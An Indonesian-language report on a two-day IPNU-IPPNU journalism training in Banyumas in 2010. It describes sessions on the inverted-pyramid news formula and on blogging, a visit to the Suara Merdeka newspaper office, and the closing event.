Dan tanpa diduga season pertama telah selesai dan dilanjutkan dengan istirahat, sholat, makan atau yang lebih sering kita singkat dengan istilah ISHOMA. Season kedua dimulai setelah sholat isya’atau sekitar pukul 19.30. seasoan kedua di moderatori oleh Taufik, salah seorang peserta yang dikenai sanksi akibat terlambat lebih dari 3 jam dari jadwal yang telah ditentukan. Dengan terbata-bata moderator memperkenalakan pemateri Candra Iswinarno, sorang wartawan suara merdeka (SM). Dengan topik Journalistik Pers, sang pemateri menyampaikan materi yang diantaranya Rumus Piramida Terbalik. Salah satu cara untuk menulis berita dimana hal yang penting ditaruh dibagian atas, agak penting di tengah dan tidak penting atau pelengkap di bagian bawah.”sebenarnya masih banyak cara atau rumus untuk membuat artikel, seperti Rumus Gitar Spanyol, Rumus Balon Udara Terbalik, Piramida Terbalik merupakan rumus yang paling dasar dan mudah.” Lugas pemateri saat menyampaikahn materi Journalistik Pers. Setelah tiu dilanjutkan dengan review materi dan akhirnya pun peserta tidur pada pukul 23.30 WIB.

Setelah sholat subuh peserta diajak oleh panitia melakukan olahraga pagi dan melakukan beberapa permainan, Diantara membuat menara yang tinggi kurang lebih 150 cm dengan bahan dasar sedotan plastik, kegiatan itu dilakukan sebelum para peserta pindah pindah dari gedung NU di Karangklesem ke Masjid Karangklesem.

Pukul 08.00, setelah peserta melakukan perlengkapan pribadi seperti mandi, makan dll, mereka melakuan dokumentasi dengan cara foto bersama termasuk dengan panitiadan setelah selesai peserta menuju ke Masjid Karangklesem yang berjarak kuarang lebih 300 meter dari Gedung NU Banyumas. Saat perjalanan Peserta juga harus mencari ide untuk di tulis menjadi sebuah artikel. Artikel ini merupakan salah satu tugas yang harus diselesaikan peserta dari panitia.

Season selanjutnya setelah mereka mengumpulkan tugas tulisannya adalah Blog Trainning yang di sampaikan oleh Ahmad Subkhi.

Blog Trainning selesai dan dilanjutkan dengan Isoma, Peserta dan Panitia melanjutkan perjalanan menuju kantor Suara Merdeka (SM). Ditengah perjalanan, hujan turun dengan lebat dan diiringi dengan suara petir yang bersahut-sahutan. Di kantor SM peserta mendapatkan penjelasan bagaimana cara dari suatu peristiwa yang terjadi di muat di koran dan sampai ke tangan konsumen hanya dalam waktu kurang dari satu hari.

2 hari 1 malam telah telewati, maka pukul 16.00 acara penutupan di lakukan di kantor SM. Dan selesai sudah acara hari itu, tapi mereka akan berkumpul kembali tanggal 28 Februari 2010 di Sekretariat PC (Pimpinan Cabang) IPNU-IPPNU di Jalan Purwosari, Utara Pasar Cerme Purwokerto. “Kami akan kumpul-kumpul disana untuk membentuk sebuah komunitas dan membicarakan beberapa hal tentang journalistik”, ujar Musmuallim, Ketua Panitia Pelatiahan Journalistik kali ini.

Wassalamu 'Alaikum Wr. Wb.